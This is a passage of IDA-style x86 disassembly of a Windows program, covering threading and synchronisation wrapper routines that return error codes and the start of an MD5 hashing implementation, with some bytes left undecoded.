mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_433FB0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434070 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_434095
mov esi, [edi]
test esi, esi
jz short loc_434095
mov dword ptr [edi], 0
mov eax, [esi]
push eax
nop
call near ptr 284070Bh
test eax, eax
jnz short loc_4340A7
mov [edi], esi
loc_434095: ; CODE XREF: sub_434070+8j
; sub_434070+Ej
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4340A7: ; CODE XREF: sub_434070+21j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_434070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4340E0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_434113
mov eax, [eax]
test eax, eax
jz short loc_434113
mov eax, [eax]
push 0
push eax
call near ptr 2770836h
nop
cmp eax, 102h
jnz short loc_434125
mov esi, 0Bh
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434113: ; CODE XREF: sub_4340E0+7j
; sub_4340E0+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434125: ; CODE XREF: sub_4340E0+1Fj
xor eax, eax
pop esi
retn
sub_4340E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434150 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_43417D
mov eax, [eax]
test eax, eax
jz short loc_43417D
mov eax, [eax]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_43417D: ; CODE XREF: sub_434150+7j
; sub_434150+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_434150 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4341C0 proc near ; CODE XREF: sub_4018A7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_4341E3
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4341E3: ; CODE XREF: sub_4341C0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_4341F2
or ebx, 0FFFFFFFFh
jmp short loc_434251
; ---------------------------------------------------------------------------
loc_4341F2: ; CODE XREF: sub_4341C0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
nop
call near ptr 77C49113h
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_434251
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_434251
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_434251
dec ebx
loc_434251: ; CODE XREF: sub_4341C0+30j
; sub_4341C0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D84
sub_4341C0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4342D0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
push 0
push 1
push eax
nop
call near ptr 2740000h
test eax, eax
jnz short loc_4342FF
loc_4342EF: ; CODE XREF: sub_4342D0+6j
; sub_4342D0+Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4342FF: ; CODE XREF: sub_4342D0+1Dj
xor eax, eax
retn
sub_4342D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434320 proc near ; CODE XREF: sub_402068j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_434346
mov eax, [eax]
test eax, eax
jz short loc_434346
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_434346
mov eax, [eax]
push 0
push ecx
push eax
call near ptr 2740000h
nop
test eax, eax
jnz short loc_434356
loc_434346: ; CODE XREF: sub_434320+6j
; sub_434320+Cj ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_434356: ; CODE XREF: sub_434320+24j
xor eax, eax
retn
sub_434320 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434370: ; CODE XREF: ___:0040143Dj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4343BD
mov esi, [eax]
test esi, esi
jz short loc_4343BD
mov edi, [esp+10h]
test edi, edi
jz short loc_4343BD
mov eax, [esi]
push 0
push eax
nop
call near ptr 2770836h
cmp eax, 102h
jnz short loc_4343A1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343A1: ; CODE XREF: ___:00434398j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
nop
call near ptr 2740000h
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343BD: ; CODE XREF: ___:00434378j
; ___:0043437Ej ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4343F0: ; CODE XREF: ___:0040222Fj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434410: ; CODE XREF: ___:00402031j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434430: ; CODE XREF: ___:00401CC6j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434450 proc near ; CODE XREF: sub_4019A1j
arg_0 = dword ptr 4
push esi
push offset dword_510960
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_434484
push esi
push ecx
call sub_402211
add esp, 8
mov esi, eax
push offset dword_510960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434484: ; CODE XREF: sub_434450+17j
test eax, eax
jnz short loc_43448D
mov esi, 16h
loc_43448D: ; CODE XREF: sub_434450+36j
push offset dword_510960
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_434450 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4344C0 proc near ; CODE XREF: sub_402211j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4344DE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4344DE: ; CODE XREF: sub_4344C0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C3A
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_434519
mov [esp+14h+var_4], 1
loc_4344FB: ; CODE XREF: sub_4344C0+5Ej
; sub_4344C0+63j
push 8
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434530
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434519: ; CODE XREF: sub_4344C0+31j
cmp [esp+14h+var_4], 1
jle short loc_4344FB
cmp ebx, 1
jnz short loc_4344FB
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434530: ; CODE XREF: sub_4344C0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43454D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43454D: ; CODE XREF: sub_4344C0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A1E
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_434583
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_434583
mov dword ptr [esi], 3
loc_434583: ; CODE XREF: sub_4344C0+9Ej
; sub_4344C0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_43459F
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43459F: ; CODE XREF: sub_4344C0+D2j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4344C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434600: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4346A5
mov esi, [edi]
test esi, esi
jz loc_4346A5
cmp esi, 0FFFFFFFFh
jz short loc_434668
cmp dword ptr [esi], 3
jnz short loc_43464D
lea eax, [esi+4]
push eax
call sub_402252
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_43469F
loc_434637: ; CODE XREF: ___:0043465Bj
push esi
mov dword ptr [edi], 0
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43464D: ; CODE XREF: ___:00434623j
push 1
push 0
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 1
jz short loc_434637
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434668: ; CODE XREF: ___:0043461Ej
push offset dword_510960
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43468F
push offset dword_510960
mov dword ptr [edi], 0
call near ptr 7C9010EDh
nop
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43468F: ; CODE XREF: ___:00434676j
push offset dword_510960
mov ebx, 10h
nop
call near ptr 7C9010EDh
loc_43469F: ; CODE XREF: ___:00434635j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4346A5: ; CODE XREF: ___:0043460Bj
; ___:00434615j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4346E0: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434741
mov eax, [esi]
test eax, eax
jz short loc_434741
cmp eax, 0FFFFFFFFh
jnz short loc_434701
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434746
loc_434701: ; CODE XREF: ___:004346F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_434723
loc_434713: ; CODE XREF: ___:00434721j
push 1
push 2
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 2
jz short loc_434713
loc_434723: ; CODE XREF: ___:00434711j
mov eax, [esi]
cmp eax, 2
jnz short loc_43472E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43472E: ; CODE XREF: ___:00434728j
cmp eax, 3
jnz short loc_434741
add esi, 4
push esi
call sub_402248
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434741: ; CODE XREF: ___:004346E7j
; ___:004346EDj ...
mov eax, 16h
loc_434746: ; CODE XREF: ___:004346FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434770: ; CODE XREF: ___:00401AB9j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4347B1
mov esi, [eax]
test esi, esi
jz short loc_4347B1
cmp esi, 0FFFFFFFFh
jnz short loc_43478B
loc_434784: ; CODE XREF: ___:00434797j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43478B: ; CODE XREF: ___:00434782j
push 2
push 1
push esi
call dword_5103D8 ; InterlockedCompareExchange
dec eax
jz short loc_434784
dec eax
jz short loc_4347AD
dec eax
jnz short loc_4347B1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347AD: ; CODE XREF: ___:0043479Aj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347B1: ; CODE XREF: ___:00434777j
; ___:0043477Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4347E0: ; CODE XREF: ___:00401942j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434830
mov eax, [esi]
test eax, eax
jz short loc_434830
cmp eax, 0FFFFFFFFh
jnz short loc_434801
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434835
loc_434801: ; CODE XREF: ___:004347F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103D8 ; InterlockedCompareExchange
dec eax
jz short loc_43482C
dec eax
jz short loc_434825
dec eax
jnz short loc_434830
add esi, 4
push esi
call sub_401785
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434825: ; CODE XREF: ___:00434812j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43482C: ; CODE XREF: ___:0043480Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_434830: ; CODE XREF: ___:004347E7j
; ___:004347EDj ...
mov eax, 16h
loc_434835: ; CODE XREF: ___:004347FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434860: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43488C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_434887
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_434887: ; CODE XREF: ___:0043487Ej
xor eax, eax
mov [esi+20h], ecx
loc_43488C: ; CODE XREF: ___:00434872j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4348A0 proc near ; CODE XREF: sub_401767j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43492C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4348C4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348C4: ; CODE XREF: sub_4348A0+1Bj
push edi
push esi
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_4348DD
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348DD: ; CODE XREF: sub_4348A0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4348ED
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348ED: ; CODE XREF: sub_4348A0+41j
mov eax, [esi+4]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 0C3EDE890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43492C: ; CODE XREF: sub_4348A0+12j
pop esi
retn
sub_4348A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434960 proc near ; CODE XREF: sub_401609j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434985
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434985: ; CODE XREF: sub_434960+15j
call near ptr 273085Ah
nop
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4349AE
push esi
mov edi, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349AE: ; CODE XREF: sub_434960+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4349CB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349CB: ; CODE XREF: sub_434960+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_434960 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434A00 proc near ; CODE XREF: sub_401AB4j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_434A90
cmp [ebx+0Ch], ebp
jz short loc_434A6C
cmp [ebx+4], ebp
jz short loc_434A6C
lea eax, [ebx+8]
push eax
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A6C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_434A5F
push edi
loc_434A33: ; CODE XREF: sub_434A00+5Cj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A5A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_434A5A: ; CODE XREF: sub_434A00+3Ej
cmp esi, ebp
jnz short loc_434A33
pop edi
loc_434A5F: ; CODE XREF: sub_434A00+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_434A6C: ; CODE XREF: sub_434A00+13j
; sub_434A00+18j ...
mov eax, [ebx]
push eax
nop
call near ptr 2730193h
cmp [ebx+4], ebp
jz short loc_434A86
lea ecx, [ebx+8]
push ecx
call sub_402252
add esp, 4
loc_434A86: ; CODE XREF: sub_434A00+78j
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
loc_434A90: ; CODE XREF: sub_434A00+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_434A00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434AD0 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_5103C4
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_434AF4
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_434B03
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434AF4: ; CODE XREF: sub_434AD0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_434B03
mov eax, ebx
loc_434B03: ; CODE XREF: sub_434AD0+1Aj
; sub_434AD0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_434B65
test eax, eax
jz short loc_434B52
mov ecx, [esi+4]
test ecx, ecx
jz short loc_434B52
test ebx, ebx
jz short loc_434B52
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_434B3D
loc_434B27: ; CODE XREF: sub_434AD0+65j
cmp [ecx+8], esi
jz short loc_434B39
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_434B27
jmp short loc_434B3D
; ---------------------------------------------------------------------------
loc_434B39: ; CODE XREF: sub_434AD0+5Aj
test ecx, ecx
jnz short loc_434B52
loc_434B3D: ; CODE XREF: sub_434AD0+55j
; sub_434AD0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DDE
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_434B65
loc_434B52: ; CODE XREF: sub_434AD0+3Cj
; sub_434AD0+43j ...
mov ecx, [esi]
push ebx
push ecx
nop
call near ptr 2750488h
test eax, eax
jnz short loc_434B65
mov edi, 0Bh
loc_434B65: ; CODE XREF: sub_434AD0+38j
; sub_434AD0+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_434AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434BA0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
nop
call near ptr 27C08B7h
mov esi, eax
call sub_438250
sub_434BA0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 3FE89051h, 56022EC0h, 0E890D88Bh
dd 22FB438h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_434BF0 proc near ; CODE XREF: sub_401A69j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_434BF0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434C30 proc near ; CODE XREF: sub_401C26j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_434C5B
inc dword ptr [esi+14h]
loc_434C5B: ; CODE XREF: sub_434C30+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_434CB9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_435A30
lea ecx, [esi+18h]
push ecx
push esi
call sub_434DA0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_434CB5
loc_434C99: ; CODE XREF: sub_434C30+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_434DA0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_434C99
loc_434CB5: ; CODE XREF: sub_434C30+67j
xor eax, eax
jmp short loc_434CBB
; ---------------------------------------------------------------------------
loc_434CB9: ; CODE XREF: sub_434C30+41j
xor ebp, ebp
loc_434CBB: ; CODE XREF: sub_434C30+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_435A30
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_434C30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434D10 proc near ; CODE XREF: sub_402176j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_435950
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_434D43
mov ecx, 78h
loc_434D43: ; CODE XREF: sub_434D10+2Cj
sub ecx, eax
push ecx
push offset aA ; ""
push edi
call sub_401C26
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C26
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_435950
push 58h
push 0
push edi
call sub_435A60
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_434D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434DA0 proc near ; CODE XREF: sub_434C30+58p
; sub_434C30+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4359C0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
